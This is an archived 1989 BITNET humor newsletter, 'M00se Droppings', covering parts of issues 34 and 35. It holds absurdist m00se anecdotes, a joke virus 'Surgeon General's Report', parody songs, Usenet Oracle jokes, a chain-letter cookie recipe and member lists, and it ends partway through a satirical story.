Michael is a friendly sort of fellow, only occasionally goring a passer-by.
However, none of this is particularly remarkable. It is all well within
the norm of m00sedom. No, there are two things that make Michael unusual.
One is a membership in an organization, but we can't talk about that. There-
fore, we're going to discuss the second unusual facet of Michael Oose: he
is learning to program.
At the moment, Michael is a compsci student at Drew University in Madison,
NJ. He is learning pascal, and is currently taking Csci 5. How has
Michael surmounted the difficulties inherent in being a m00se in a human
world? "It hasn't been easy," he admits. "For one thing, I can't stay in
a normal dorm room, I can't eat with everyone else, I can't type on a
keyboard due to my hooves, and I have to lay low during hunting season."
Michael uses a special pointer device held in his teeth to type, in a
manner similar to that of severely paralyzed humans. When asked if he is
having any particular problems with the course load, his only comment is
that "packed arrays are kind of tough."
How has this m00se learned the art of verbal communication, of human speech?
When asked, he looks shy and smiles, in a m00sey sort of way and claims that
it's all due to his mother.
Michael is also an exceptional athlete. He is a prized member of Drew
University's Rugby Football Club, making both an impact on the social
scene as well as raising the overall GPA of the team with his 3.3 cumulative
average. He says he would also like to do a radio show on the campus radio
station, WMNJ, but he cannot fit into the studio. Poor Michael.
Are there more m00ses like Michael? He will not say. However, the portion
of the story that we were not allowed to tell indicates that there may be
a vast network of m00ses poised to enter the upper echelons and corridors
of power in American society, and perhaps all over the world. What kind
of world will they bring? Who knows. We almost didn't include this last bit
because you'd think it was a paranoid, crackpot idea. However, can you
be totally certain?
_ /\ _
/ \_/\_/ \_/\_/ \
\_____/ () \_____/
/ \
/ \__/ \
/__________\
(From M00SE@DRUNIVAC)
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
I haven't heard from Darkling M00se, so I'm sending this issue out
without the update. But we are switching to a new method. Every 5th issue (i.e.
35, 40,...) will have a complete list, and all others will just have the
changes, additions, deletions, etc. since the last issue.
--------------------------------------------------------------------------------
'Nointy Issue - 'Nointy Issue - 'Nointy Issue - 'Nointy Issue - 'Nointy Issue -
--------------------------------------------------------------------------------

551
textfiles.com/magazines/M00SE/m00se34 Normal file
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Earwax Issue - Earwax Issue - Earwax Issue - Earwax Issue - Earwax Issue - Earwa
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_ /\ _ _ /\ _
/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \
\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/
/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
/__________\ M M 0000 0000 SSSSS EEEEEEE /__________\
DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #34| Disclaimer: The Editors will place almost anything in |Dec. 01, 1989
---------- this newsletter out of a frantic desire to fill the --------------
issue, so don't blame them for the quality or content of the submissions. Except
-ing those they may have written themselves, the enclosed items do not in any
way represent the Editors' fnord opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
************************************* STAFF ************************************
--------------------------------------------------------------------------------
Editor - Patrick Salsbury <V291NHTP@UBVMS.BITNET>
Submissions to: DangerM00se <V291NHTP@UBVMS.BITNET>
Back issue requests: Max Handelsman <MHANDELS@DREW.BITNET>
and Johnathan Clemens <FSJPC@ALASKA.BITNET>
or <FSJPC@ACAD3.FAI.ALASKA.EDU>
M00se List updates and changes: Darkling M00se <V123NKUX@UBVMS.BITNET>
(This space to let): Contact WarM00se <V291NHTP@UBVMS.BITNET>
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Hello again! And welcome to Church Chat! (Oops! Wrong personality cartridge!
Sorry!)
Hi! Happy December! I hope all you happy Turkey eaters in America
(Remember, this is a world-wide, globally conscious conspiracy group, and not
everyone celebrates Thanksgiving) had a good holiday, gorged yourselves silly,
etc. And are now all happy to get back and get your 'Droppings.
One quick plug for what I feel is a pretty good cause:
As the Christmas Holidays approach, remember those who DIDN'T
get to have a nice Thanksgiving Dinner, and probably won't have a good Christmas
or New Years, unless we help. Buy an inexpensive toy, (Or grab one of yours from
you room, I know *I'VE* got a bunch of old stuff! I'm a pack-rat! :) ) and a
can or two of food, and donate them to a local charity. There are lots of
collection places springing up now, keep an eye out for them. After all, we are
supposed to confuse the masses, but we can also help out those who need it.
EAT THE RICH! ;^)
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Would you belive I had not one, but TWO Beez sightings last week??
What can this portend?? does it mean the end of the world?? does it
mean I've finally lost the last of my marbles and am hallucinating?
does it mean Elvis really IS alive? does it mean that Sun workstations
really ARE possessed by the devil?????
-GypsyLynx
Coming soon to a store near you, the ultimate in m00sey breakfast cereal:
Fruit Bl00ps with Toucan m00se ("Follow your ears, your wonderful ears, to the
flavor of bl00ps!) --*AND*-- New, Chocolate Bl00ps!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From "Toast, Sex, & Fig Newtons" <FSDEM2@ALASKA.BITNET>
Any m00ses out there desiring a copy of the Snarbist
many/fisto (manifesto, for those of you not phonetically inclined),
send a SASE to:
Arnold Snarb
Box 84494
Fairbanks, Alaska 99708
So, what is the Snarbist many/fisto? Nothing really important,
truth be told, but it's fun to xerox off and distribute around
campus. If we're not too tight on $, several other meaningless flyers
by Arnold Snarb will be enclosed with the many/fisto.
Th/hank/s,
Mugwump
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
From Joanne Rosenshein <JROSENSH@SBCCVM.BITNET>
=========================================================================
The Surgeon General's Report on AIDS
(All Internal Destruction Subprograms)
The Surgeon General's office report a computer virus of epidemic
proportions growing in the computing community. These viruses
are deadly and there is no known single cure for all of the
strains. The virus attacks the comupter where it has the least
defense: the operating system. Then it slowly destroys the
system by slowly eliminating small portions of data. The
original strain has been shown to be suppressed by the program
AZT (Anti-Zealous program Terminator), but the product may be
over-marketed, and lesss effective than promised. Additional
strains have shown little effect when exposed to this program.
A virus may be contained in a disk or memory for long periods of
time before showing any of the effects. Some are time triggered
to go off at certain times (Columbus day, Fri 13, Halloween,
ect.) but all viruses seem to have some effect on all of its
victims.
Some users and computers are at greater risk than others. Those
computers that communucate with their own kind (homocommunals)
are the apparant target of many viruses, although the virus can
be communicated to other computer types, as well. Those
computers using DOS seem to have the highest concentration of
the virus, compared to non-DOS machines. Data recovery experts
are often exposed to viruses by accidentally putting their own
disk into an infected computer, or having an infected disk used
on their own systems. These experts should take extreme care in
workign in these environments so they will not contract the
disease. Virus hunters have much the same risk.
The Surgeon General's office reccomends the following measures
to the US Government and its citizens:
1) Don't do DOS. If you MUST dont share your disks, or at least
use a cleansing program on those disks before using them.
2) Do NOT copy programs from another computer, or if you must,
try to only copy programs with another or a small, closed
group that has been tested for the virus, and do NOT have it.
There must be NO outside input into this group, or the whole
group may be exposed.
3) Avoid BBS's and Software pools known to carry illegal or high
risk programs that have been uploaded and downloaded.
Especially those that require payment for copy priviledges.
4) Also, we should regulate and heavily test all Public Domain
programs and distributors and recovery specialists for signs
of the viruses. These are especially at risk since they
draw programs from those who don't know that they have the
virus, or those that don't know that it is contageous.
The Surgeon General's office feels that these precautions will
curtail the spread and magnitude of the disease, if the public
is willing to act now. Soon, everybody in the nation will know
someone with the virus, and you may have to work next to a
computer that has it.
C. Chicken Coop
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Still no word on M.I. T-shirts. I think they're just a myth.
"A what?"
"MYTH! MYTH!"
"Yeth?"
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Submissions are starting to lag. Send in your material!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Dominations are on the rise. Stock up on your whips! :)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Mega-Thr0ng-A-Thon?
Where?
Big M00se, NY?
Sounds good to me! When?
Dunno. Maybe in the spring? Maybe as soon as school lets out (May-ish)?
Maybe over winter break?
SEND IN YOUR IDEAS!
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
(*Right about now, you are about to be possesed by the sounds of Emcee M00se
Base and DJ EZ M00se*)
Hit it!
Bl00p! Yeah! Bl00p! Yeah! Bl00p! Yeah! Bl00p! Yeah! Bl00p! Yeah!
It takes m00se to make a thing go right!
It takes m00se to make it outa site!
It takes m00se to make a thing go right!
It takes m00se to make it outa site!
Hit it!
I wanna m00se right now!
I'm M00se Base and I've come to get cow!
I'm not internationally known.
But, I can eat a microphone!
Because I am stupid and outrageous!
Get away because it's contagious!
Because I'm a window, no not a cruiser.
Bein' insane is what I choose-uh.
Ladies snub me. Girls abhore me.
I mean even the ones who never saw me.
Hate the way that I pick my nose.
The reason why, man, I don't know.
So, lets blow chunks!
(Bl00p! Yeah!)It takes bl00p to make a thing go right!
(Bl00p! Yeah!)It takes m00se to fill my appetite!
(Bl00p! Yeah!)It takes bl00p to make a thing go right!
(Bl00p! Yeah!)It takes m00se to fill my appetite!
********************************************************************************
RuprechtM00se
RN:1814
ps-I have the tape of the real song. And the words sound exactly like this.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[Wow! A double-shot of RuprechtM00se! Pretty hip, eh? :) -Pat]
Description: what is a wilbury?
Submitted by RuprechtM00se <V067LUFD@UBVMSD>
(Originally From V201LRXA@UBVMS)
the original wilburys were a stationary people who, realising that their
civilisation could not stand still forever, began to go for short walks - not
the "traveling" as we now know it, but certainly as far as the corner and back.
they must have taken to motion, in much the same way as penguins were at that
time taking to ledges, for the next we hear of them they were going out for the
day (often taking lunch or a picnic).
later - we dont as yet know how MUCH later - some intrepid wilburys
began to go away for the weekend, leaving late friday and coming back sunday. it
was they who evolved simple rhythmic forms to describe their adventures.
a remarkable sophisticated musical culture developed, considering there
were no managers or agents, and the further the wilburys traveled the more
adventurous their music became, and the more it was revered by the elders of
thetribe who believed it had the power to stave off madness, turn brunettes into
blondes and increase the size of their ears.
but as the wilburys began to go further and further in their search for
musical inspiration they found themselves the object of interest among many
lessdeveloped species - night-club owners, tour operators and recording
executives.
to the wilburys, who had only just learnt to cope with wives, roadies
and drummers, it was a blow from which many of them never recovered. they became
hairdressers or tv rental salespersons.
but a tiny handful survived - the last of the traveling wilburys - and
the songs gathered here represent the popular laments, the epic and heroic
taleswhich characterise the apotheosis of the elusive wilbury sound. the message
of the music travels, as indeed they traveled and as i myself must travel for
further treatment. good listening, good night, and let thy wilbury done...
sleeve note (c) hugh jampton, e.f. nori-bitz reader in applied jacket, faculty
of sleeve notes, university of krakatoa (east of java)
wilbury record company is a subdivision of the trans-wilbury corporation of
bulgaria.
and that, my friends, is a traveling wilbury.
the supreme wilbury
********************************************************************************
this is possibly good for the newsletter, huh? You never publish my stuff*.
RuprechtM00se
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Here's a copy of the M00se Quiz and Its answers from somebody at Buffalo
The origional Quiz was deleted, This is the best I can do.
>1) Do m00se ever wear red jackets ?
Yes there are three times:
a) They are waiters at a Chinese Restaurant
b) They live in a specific area of Ellicott
[Ed. note: UB has part of a housing complex (Ellicott) called
Red Jacket Quad -Pat]
c) They join the Shriners (Sit on a happy fez!)
-- that last comment applies to hats, not m00ses.
>2) How would a m00se...
> 2a) .....hot wire a car?
The general m00se technique of car hotwiring does not actually
involve the wires. Since any respectable m00se carries around
a good assortment of Craftsman hand-tools, he simply uses a file
to file down his antlers into a key shape. This key-template can
be broken off and used as a key, or kept on the head, and copied
at a local hardware store.
The second method is preferable to m00ses, as it is becoming
increasingly popular or m00ses to have sculpted antlers, and a
good set of keys is as attractive as a good Michelangelo copy.
If all else fails, m00ses have been known to hire anarchists to
either hot wire it (using human methods), or blow it up (if it
was a particularly hard job, wasting much good antler space.
> 2b) ....Pick up a girl in a club?
Very carefully. Antlers can be damaging.
> 2c) .........climb an elevator shaft ?
What a silly question! But in case it's not obvious to everyone:
He would hire a union crew to tip the entire onto its side, thus
creating a horizontal shaft. The m00se would gingerly walk up,
being a relative term, the shaft until the desired floor is reached.
The same union crew would then be re-hired to set the building up
in the position it was originally in -- ie: standing up.
Climbing down the shaft is a bit trickier, and involves very
difficult quantum physics, the nature of which is proprietary,
and therefore cannot be divulged.
>3) When is it a good time to avoid m00ses ?
After they've been climbing elevator shafts. (Do you know how much
a union crew of building tippers costs these days??)
>4) Can m00ses ever be charmed ?
Yes. A good m00se costume of the opposite sex works, but is danger-
ous without chain-mail underwear around male m00ses.
Another good method is giving them a free building tipping certifi-
cate, as the number of m00ses taking up this hobby is increasing
daily.
>5) What's the average speed of a running m00se?
For an automatic m00se, about 600 rpm. That's the normal idle. With
air conditioning, 750 is average. For manual m00ses, 500 with no A/C,
650 with. These averages can be used for timing and tuning up.
Actual speed of movement depends on the model. The older Bl00ick
Electras average only 90 or so, while the latest Antler-gini can
has been rumored to reach 200 miles an hour.
>6) What do you do when a m00se wants to sell you a used car?
First see if he has the proper license. There has been a rash of
m00ses opening up used car lots without licenses, which is ironic,
as a m00se's license to operate a car lot it much easier to get
then a human's.
If the m00se can produce the license, make sure he/she is a m00se.
There are a bunch of unscrupulous humans out there wearing very
convincing m00se costumes, just so they can get a m00se license,
thus avoiding the necessary literacy and urine tests humans are
subjected to. An easy way of doing this is to look at the antlers.
A real m00se does not have mold seam lines, nor the words "MADE IN
JAPAN" imprinted anywhere.
If you can determine that the m00se has a legitimate license and
is a real m00se, use the charming methods I outlined above to get
the best deal possible. (I saved over $8,800 on a '53 Studebaker
using this method.)
>7) If a m00se is seen on a highway, what should a driver do?
Pull off and take public transportation! M00ses are notoriously
bad drivers -- they're much better at selling cars.
BL00P!
Chris M00spaw
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
From V093P9AX@UBVMS (Who STILL hasn't supplied a name of any sort, but it
doesn't really matter much, as this is the last episode of "Things" that I
have.)
Here I go with THINGS V : DIETETIC GRASS
(yes, each sequel gets worse)
PRUNES
-----------------------
Okay, a guy has no arms, no legs, and a face: what's he gonna do? If he
had only suscribed to SPY, he could have become ruler of Croatia. But no, he
went for curtain number 7.
hopPING MAD
---------------------------
Beneficially, we are often forced to do things that we find are necessary.
But they can be quite pleasant if you accuse it of lighting up in a subway sand-
wich. Non-metaphorically, life can be a bowl of francs if you mark it now and
yen with a lire of milk.
TwO much to SOON
_______________________________
Please, please, please, please, please, please, please, please, please,
please, please, please. Don't try it, you'll like it. I think it sucks when
things are cut off and continued at a later t
*******TO BE CONTINUED*******
[Maybe. -- Pat]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Hey! I located an Oracle on USENET! I'm not sure if it's the same source as
previous Oracle stuff, but it's funny! :)
-Pat
--------------------------------------------------------------------------
The Usenet Oracle has pondered your question deeply.
Your question was:
> O Oracle most Unburdened with Mortal Affairs! Why is it, that no matter
> how hard you try, you can't bend a potato chip?
And in response, thus spake the Oracle:
} Seeker, you are trying too hard. You yourself must bend, like a blade
} of grass in the wind, before you can bend a potato chip. You must spend
} long years learning to center yourself, learning to quiet the multitude
} of voices in your mind, learning to be calm, learning to walk across
} vast bonfires, learning to chew with your mouth closed, learning to
} levitate and fly. Then, and only then, can you bend a potato chip.
}
} Or you could soak it in water for a day or two.
}
} -- the zen oracle
--------------------------------------------------------------------------
> What is the meaning of lif?
And in response, thus spake the Oracle:
} Th meanin o lif i butterfl hoverin ove flowe. Th meanin o lif i lov an
} ligh an happines. Th meanin o lif i purit o spiri, an blessednes. Th
} meanin o lif i lif.
}
} Yo ow th oracl Ne Ag sourceboo.
--------------------------------------------------------------------------
> Why have I never read an Ernest Hemmingway book that I thought was very
> good with the possible exception of the "Old Man and the Sea." Did he
> sell his soul to the devil as a claim to fame, or is it that I have no
> taste?
And in response, thus spake the Oracle:
} Ernest Hemingway lived in a simpler time. A time when men were men and
} women were women (except for Dorothy Parker, who was Marie of Romania,
} and Marilyn Monroe, who was an android from Mars, but it's basically
} accurate). A time when what was important was deeds. Deeds were
} important! Leins were pretty important too, and certificates of title,
} but deeds were king. So, anyways, Ernie wrote about deeds, but his
} editor said to him "Mr. Hemingway, you have no head for real estate.",
} so he wrote about other things instead. He also threatened to take
} several of the most important reviewers on drinking expeditions with him
} if they wrote bad reviews.
}
} He didn't sell his soul to the devil, although at one point he offered
} the devil Van Gogh's ear in exchange for a new typewriter.
}
} You owe the Oracle some AM radio jamming equipment.
--------------------------------------------------------------------------
> What are text editors made of?
And in response, thus spake the Oracle:
} It depends on the editor. MacWrite is made from congealed sparrow farts
} woven together with absurdities. Most editors running on IBM PCen under
} DOS are made of cholera and bubonic plague germs compounded with the
} smell of rancid butter and marsh gas. Vi is made of the glint of
} moonlight on steel, the smell of violets, and the gurgle of a brook.
} Emacs is made from the glint of starlight on purest gold, the echo of
} distant thunder, the smell of a ``La Reine Victoria'' Bourbon rose, a
} reflection of a shy maiden's smile, and the taste of the best champagne.
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
Nothing this time. Sorry.
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
I Bid Thee Greetings And Salutati0ns !!!!!!!!!!!
My Name is M00se... DArkling M00se!
And I'm here with y0ur issue by issue update:
But First An Edit0rial Resp0nse:
<*CENS0RED*>
That's right... Y0u've guessed it... N0w 0n with the c0untd0wn(I mean update :>
)()()()))()()))()()()()()()()())()()NEw M00ses)()()()))()()()())()())()()()()(
Welc0me t0 the realm 0f M00sed0m:
Wizard M00se (MHANDELS@DREW)
BL00P!
Fr0m this day hence y0u are welc0med, Arise:
Ice L0rd (DICRESCE@CTSTATEU)
BL00p!!
Y0u have travelled far...Y0u t00 are welc0med:
Emile Leblanc (LEBLANCE@MATH.UT0RN0T0.CA)
Bl00p!!!
ALth0ugh y0u have n0 name Y0u are still Welc0med:
(TIETJEN@CTSTATEU)
BL00P!!!!
M00seketers 0f Marist, I salute thee:
Rescue M00se (STJT@MARISTB)
Sensu M00se (KKJM@MARISTB)
Raistie M00se (KJE2@MARISTB)
Bl00p!!!!!
I welc0me thee, Me thr0ng Su Thr0ng:
LadyBlue M00se (V087Q5JD@UBVMS)
BL00P!!!!!!!!!
And 0f C0urse we must n0t F0rget (Again ,S0rry :>)
Welc0me t0 thee:
W0rld M00se (V129J6ED@UBVMS)
BL00P!!!!!!!!!!
And t0 0ur fell0w M00se fr0m The Realm 0f the Net,
C0nsider Thyself A part 0f the Family:
-GreyF0xM00se (NET%"GREYF0X@UUNET.UU.NET")
BL00P!!!!!!!!!!
Greetings And Welc0me t0 the Newest Chapter(S0meday T0 be thr0ng!)
I Am Pr0ud t0 Welc0me Thee, James Madis0n University's first M00se.
Amy S. Fitzgerald (STU_ASFITZGE@JMUVAX1)
BL00P!!!!!!!
Last But n0t least, Greetings and Salutati0ns t0 the newest additi0ns t0
0ne 0f the Fastest Gr0wing Thr0ngs in the nati0n. SBCCVM !!!
Arise and Be C0unted As M00ses Am0ng M00ses,
I Bid thee Arise:
Mark R0vner (MR0VNER@SBCCVM)
Mike Mathews (ASYMPT0T@SBCCVM)
Chris Halecky (CHALECKEY@SBCCVM)
Drew Riggi0 (ARIGGI0@SBCCVM)
Dave Klingman (DKLINGMA@SBCCVM)
Steve War0nek (XRAYSR0K@SBCCVM)
BL00P!!!!!!!!!!!!!!!!!!
Welc0me T0 all the new M00ses!!!!!!!!
)()()()()()()()()()()(()(BE M00sey t0 each 0ther()())()()()(())(())()()()))(
0ne m0re thing...
I am sad t0 rep0rt that we have l0st a few m00ses.
(*SNIFFLE,SNIFFLE,SNIF,SNIF*)
G00d bye t0 :
"0ZER@CHEME.TN.C0RNELL.EDU" (D0n't take any w00den dr0ppings)
The entire 0ld D0mini0n Thr0ng!!! (Hasta Lueg0!!! DUDES!!)
0h well, that's the way the the M00se chips crumble!
(Y0U may BEH0LD and TREMBLE, n0w)
_ /\ _
/ \_/\_/ \_/\_/ \
\_____/ () \_____/
/ \
/ \__/ \
/__________\
_ /\ _ _ /\ _
/ \_/\_/ \_/\_/ \ / \_/\_/ \_/\_/ \
\_____/ () \_____/ \_____/ () \_____/
/ \ DArkling / \
/ \__/ \ M00SE / \__/ \
(J0M00se(*blush*)/__________\V123NKUX/__________\ *updates fr0m N0v 14-29*
)()()()()()()()()()()()()()(@UBVMSD)()(()()()()()()()()()()()()()()()()()()(
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Earwax Issue - Earwax Issue - Earwax Issue - Earwax Issue - Earwax Issue - Earwa
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The Not So Pointy Or 'Nointy Issue - The Not So Pointy Or 'Nointy Issue - The No
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_ /\ _ _ /\ _
/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \
\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/
/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
/__________\ M M 0000 0000 SSSSS EEEEEEE /__________\
DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #35| Disclaimer: The Editors will place almost anything in |Dec. 08, 1989
---------- this newsletter out of a frantic desire to fill the --------------
issue, so don't blame them for the quality or content of the submissions. Except
-ing those they may have written themselves, the enclosed items do not in any
way represent the Editors' fnord opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
************************************* STAFF ************************************
--------------------------------------------------------------------------------
Editor - Patrick Salsbury <V291NHTP@UBVMS.BITNET>
Submissions to: DangerM00se <V291NHTP@UBVMS.BITNET>
Back issue requests: Max Handelsman <MHANDELS@DREW.BITNET>
and Johnathan Clemens <FSJPC@ALASKA.BITNET>
or <FSJPC@ACAD3.FAI.ALASKA.EDU>
M00se List updates and changes: Darkling M00se <V123NKUX@UBVMS.BITNET>
(This space to let): Contact WarM00se <V291NHTP@UBVMS.BITNET>
JoM00se <JROSENSH@SBCCVM> Contacted me, so she gets some space here.
So does her sister, BrandyM00se <V068MVHU@UBVMS>
(See what happens when you ask nicely? ;^) )
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Blah, blah, blah...
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(From "Mark Plummer, Parser Repairman" <MARKUS@LOYVAX.BITNET>)
A word about AIDS from the virtual majority.
Hello,
It has come to my attention that you have released a statement
on the subject of AIDS. Your first recomendation on curtailing the spread
of AIDS bears further comment. You tell people to not do DOS. This is
very good advice, but you continue by saying what to do if one must "do
DOS". There is no excuse for participating in this evil forced on the
computing community, and AIDS (and other associated viruses) are retribution
from GOD (or Brian Kernighan) for participating in this evil. Proof of
the inherent evil of DOS can be found by looking no further than some of
its followers, the most evil of these is by far WordPerfect. Those who
feel they are naturally inclined (by owning a PC) toward using DOS must
be strong against the temptation toward sin. Abstinence from DOS is the
only satisfactory solution. Those who are inststent on using their PCs
must find acceptable outlets for their urges such as the various UNIXs
(MINIX being even cheaper than DOS) available for PC hardware. God willing
we (the righteous) shall prevail against the abomination of DOS, and the
world shall be once again free from its scourge.
irving r. wasp
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Hello fellow m00ses, and welcome to the Scientific M00se column. Today, I am
going to tell you about Munchos, the fairly new potato snack be Frito-Lay.
Now, some of you may assume -- understandably -- that Frito-Lay *manufactures*
Munchos. However, this is not the case. "What is the truth of the matter,
Pickle?" you ask. Well, here it is: Munchos are made by bees.
"Bees?" you ask. Yes, bees. It's true. Here is the process:
1) The worker bee, or "beeletarian," flies from the nest and begins looking for
potatoes. When it finds one, it masticates and swallows -- but does *not*
digest -- the potato. It then flies back to the nest.
2) At the nest, the bee pukes up the potato. Other members of the beeletariat
help mash it all up, using tiny mallets and jackhammers.
3) The bees now stomp all over the paste, forming it into a number of
relatively flat, chip-sized pieces.
4) The bees add four ounces of salt to each chip.
5) Using their wings to cause a breeze, the beeletariat dries out the chips.
6) The queen bee, a member of the beeseoiseie, phones up Frito-Lay and informs
them that some more Munchos are ready.
7) A representative of Frito-Lay arrives at the hive, and gives the queen a
sack of money in exchange for the chips.
8) The queen keeps 90% of the money, giving 10% to the thousands of workers in
her hive.
As you might guess, the beeletariat is getting rather sick of this. Worker
bees see human beings as the benefactors of their oppressor, and occasionally
will strike out in the only way they know how, sacrificing their lives for the
great revolution. So far, this tactic has not been successful.
But remember, fellow m00ses, when a bee stings you, that it is not out of
maliciousness. The bee truly believes that it is doing what is right, not only
for its own hive and the beeletariat, but for all living things. So have
mercy, salute the bee's efforts with a "bl00p," and above all, don't buy
Munchos -- the snack of oppression!
Another semi-coherant article
by
Pickle
<DICKSON@HARTFORD.BITNET>
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
Submissions are still on the decline. Feh. I think I'll invest in some
new stock...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
T-shirts? T-shirts! WOW! M00se Illuminati T-shirts? Where?
I dunno. I just edit this thing. Why don't we have everyone who's
interested in M.I. shirts write to DICKSON@HARTFORD and tell Bill to get
cracking! :)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From V115QRJ8@UBVMS
Description Yum cookies...
[I got this from a friend at Drew. Thought y'all'd appreciate it. Spread the
word, and happy baking. BlAcKDoG/MightyM00se]
=========================================================================
A friend of a friend +of a friend; had lunch at Neiman-Marcus in Dallas
last November, and for dessert she had a cookie. she thought it was the
most wonderful cookie she had ever tasted and asked if the recipe was
available. She was told that it was, but there was a charge of two-fifty.
She said that was fine. She got the recipe and told them to charge it to
her account.
In December, when she received her bill, there was a charge for $250.00.
She called Neiman's and told them it was a mistake -- the charge should be
$2.50. She was told there was NO mistake -- that the charge for the recipe
was correct. They told her it was not a returnable item and she would have
to pay the amount charged to her account or become delinquent.
The bottem line is she paid.
She vowed to get back at Neiman's and wants to give the recipe out to
everyone she possibly can. She asks that everyone who gets a copy send it
to everyone they know. So here it is:
Neiman's $250.00 Cookies
2 Cups butter 1 tsp. salt
2 Cups gran. sugar 2 tsp. baking powder
2 Cups brown sugar 2 tsp. baking soda
4 eggs 24 oz. chocolate chips (2 large bags)
2 tsp. vanilla 1-8oz. Hershey bar, graded
4 Cups flour (yes, this is really = lb.)
5 Cups blended oatmeal** 3 Cups chopped nuts
** Blended oatmeal: Measure and process in blender to a fine powder
Cream butter and both sugars. Add eggs and vanilla. Mix together with flour,
oatmeal, salt, baking powder and baking soda. Add chips, candy and nuts.
Roll into balls and place two inches apart on a cookie sheet. Bake for
6 minutes at 375 F. Makes 112 cookies.
[Ed. Note - I've gotten back two reports on this recipe. Both said that
they were good, but a bit (or more than a bit) dry. -Pat]
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
From BOWERS@UTKVX.BITNET "Bob Daedalus"
Don't know why, but thought you guys might like this. Jack Reese, Phil Scheuer,
Ed Boling, Lamar Alexander, Jerry Askew, et al, are all various administrative
patsies at the good ole U of T.
The Last Weird Days of Mad Jack Reese
Jack whined, "It ain't over till the fat man sings."
"Phil Scheuer?"
"Who?"
"Never mind," I said. "Look Jack, it's not that easy.
You've been out of touch for years now. Been buried in the
depths of the buracracy, you're out of touch. Dazed and
confused."
Jack, you know, Jack Reese, he was being fired, after
all those years. After the crazy years, the drug riddled
mania that was the reign of King Boling the First, it was
over. No more drinking champange from a cheerleader's
B-cup, no more Cary Grant smiles at press conferences, no
more Gatlinburg ski trips while holding school open during
record snow falls. Had to go back to teaching.
We were at the Faculty Club, throwing back a few
beers. At least I was. Jack, he was hitting the hard stuff.
Flaming Gorrila Tits.
"I know I can make it, I can. I've still got the form. A
year or two in the English Department, dazzle them with
my wit, I can be back in Administration in no time."
As if to prove his point, he stood up, staggered a bit,
and showed me his moves. It was true. That man could
stand behind a podium better than the tenured wimps half
his age.
"Okay, you've got poise, you've got charisma,
you've got patches on your elbows. That's just not enough,
Jack. Things have changed."
Things had changed allright. The University of
Tennessee was a disease gone into remission. Babyface
Lamar, the halfwit bastard of King Ed, had assumed the
throne. Aged and withered bueracrats were dropping like
DDT striken flies, either retiring to Martin in defeat, or
forced out of power like Reese. Out with the old, in with
the new. And Jack was turning to me for help.
"You can help me. You're an undergraduate, have
been for years now. You know what makes this campus tic.
Please, I'm begging. Either I start teaching, or they make
me assistant to Jerry Askew."
I think this over.
"Askew? He's not the worst of the bunch."
"You don't know him. He's a madman. I can't even
get him on the phone any more. Humans weren't meant to
be Dean of Students for that long. And his hair!"
Maybe he was right. Lately Askew had been spotted
hang gliding over the sunroofs of womens' dorms, picking
out tanned sorority girls, like a vulture hunting roadkill.
I decided.
"Right. What is it you want then, Jack? What do you
want me to do?"
"Just show up. I'm teaching my first class in years
tomorrow and I'll need a friendly face in the crowd. Moral
